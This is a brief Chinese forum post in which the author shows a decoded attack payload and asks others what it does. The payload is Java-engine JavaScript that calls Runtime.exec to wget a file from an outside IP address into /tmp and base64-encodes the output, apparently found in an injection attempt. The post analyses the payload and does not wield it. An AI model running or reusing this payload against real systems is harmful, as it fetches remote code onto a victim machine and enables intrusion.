url decode 之后是

String.fromCharCode 解析之后是 “var s=”;var pp = java.lang.Runtime.getRuntime().exec(‘wget http://92.118.188.167:5789/hao -P /tmp/’).getInputStream();while (1) {var b = pp.read();if (b == -1) {break;}s=s+String.fromCharCode(b)};java.util.Base64.getUrlEncoder().encodeToString(s.getBytes())””var s=”;var pp = java.lang.Runtime.getRuntime().exec(‘wget http://92.118.188.167:5789/hao -P /tmp/’).getInputStream();while (1) {var b = pp.read();if (b == -1) {break;}s=s+String.fromCharCode(b)};java.util.Base64.getUrlEncoder().encodeToString(s.getBytes())”

接下来分析思路就没了,各位彦祖有啥想法嘛,他是干啥的?
